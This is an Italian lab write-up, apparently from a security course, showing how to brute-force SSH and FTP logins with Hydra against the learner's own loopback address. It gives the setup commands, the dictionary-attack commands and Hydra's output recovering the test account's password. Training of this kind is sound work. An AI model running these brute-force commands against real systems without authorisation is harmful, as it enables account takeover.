

Authentication cracking con Hydra

Nel lavoro di oggi andremo a craccare l'username e la password del nostro IP di loopback. Utilizzeremo **Hydra**, un password cracker veloce e flessibile, che supporta un'ampia gamma di protocolli di rete.

La traccia è la seguente:

Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio.

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Creiamo un nuovo utente su Kali Linux, con il comando "adduser".

Chiamiamo l'utente **test_user**, e configuriamo una password iniziale come **testpass**.

Attiviamo il servizio ssh con il comando "**sudo service ssh start**".

Dopo aver seguito questi passaggi, scriviamo il comando **ssh test_user@127.0.0.1** per verificare se il secondo utente su kali è stato creato e raggiunto con successo.

```
(root@kali)-[~]
# ssh test_user@127.0.0.1
test_user@127.0.0.1's password:
Permission denied, please try again.
test_user@127.0.0.1's password:
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Feb 29 09:11:42 2024 from 127.0.0.1
(test_user@kali)-[~]
$
```

Il secondo step da seguire prevede di eseguire hydra tramite codice per riuscire a craccare le credenziali corrette. In questo caso utilizzeremo **“hydra -L username_list -P password_list IP_KALI -t 4 ssh”**

Possiamo attaccare l'autenticazione SSH con Hydra con il seguente comando, dove **-l**, e **-p** minuscole si usano se vogliamo utilizzare un singolo username ed una singola password.

Ipotizziamo di non conoscere username e password ed utilizziamo invece delle liste per l'attacco a dizionario. Useremo gli switch **-L**, **-P**.

Utilizziamo delle liste compilate con poche righe per evitare tempi eccessivi di cracking.

```
(root@kali)-[/home/kali/Desktop]
# hydra -L usernames.txt -P passwords.txt 127.0.0.1 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret ser
).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:31:53
[DATA] max 4 tasks per 1 server, overall 4 tasks, 144 login tries (l:12/p:12), ~36 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[STATUS] 76.00 tries/min, 76 tries in 00:01h, 68 to do in 00:01h, 4 active
[22][ssh] host: 127.0.0.1 login: test_user password: testpass
```

Installiamo il servizio ftp con il comando “**sudo apt-get install vsftpd**” e facciamo partire.

Proviamo a craccare sul servizio ftp. Quindi riscriviamo il codice uguale cambiando ssh con ftp.

```
(root@kali)-[/home/kali/Desktop]
# sudo apt-get install vsftpd
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1517 not upgraded.
Need to get 143 kB of archives.
After this operation, 353 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b3 [143 kB]
Fetched 143 kB in 1s (211 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 405284 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b3_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b3) ...
Setting up vsftpd (3.0.3-13+b3) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.12.0-1) ...
Processing triggers for kali-menu (2023.4.6) ...

(root@kali)-[/home/kali/Desktop]
# service vsftpd start

(root@kali)-[/home/kali/Desktop]
# hydra -L usernames.txt -P passwords.txt 127.0.0.1 -t 4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:41:55
[DATA] max 4 tasks per 1 server, overall 4 tasks, 144 login tries (l:12/p:12), ~36 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[STATUS] 76.00 tries/min, 76 tries in 00:01h, 68 to do in 00:01h, 4 active
[21][ftp] host: 127.0.0.1 login: test_user password: testpass
```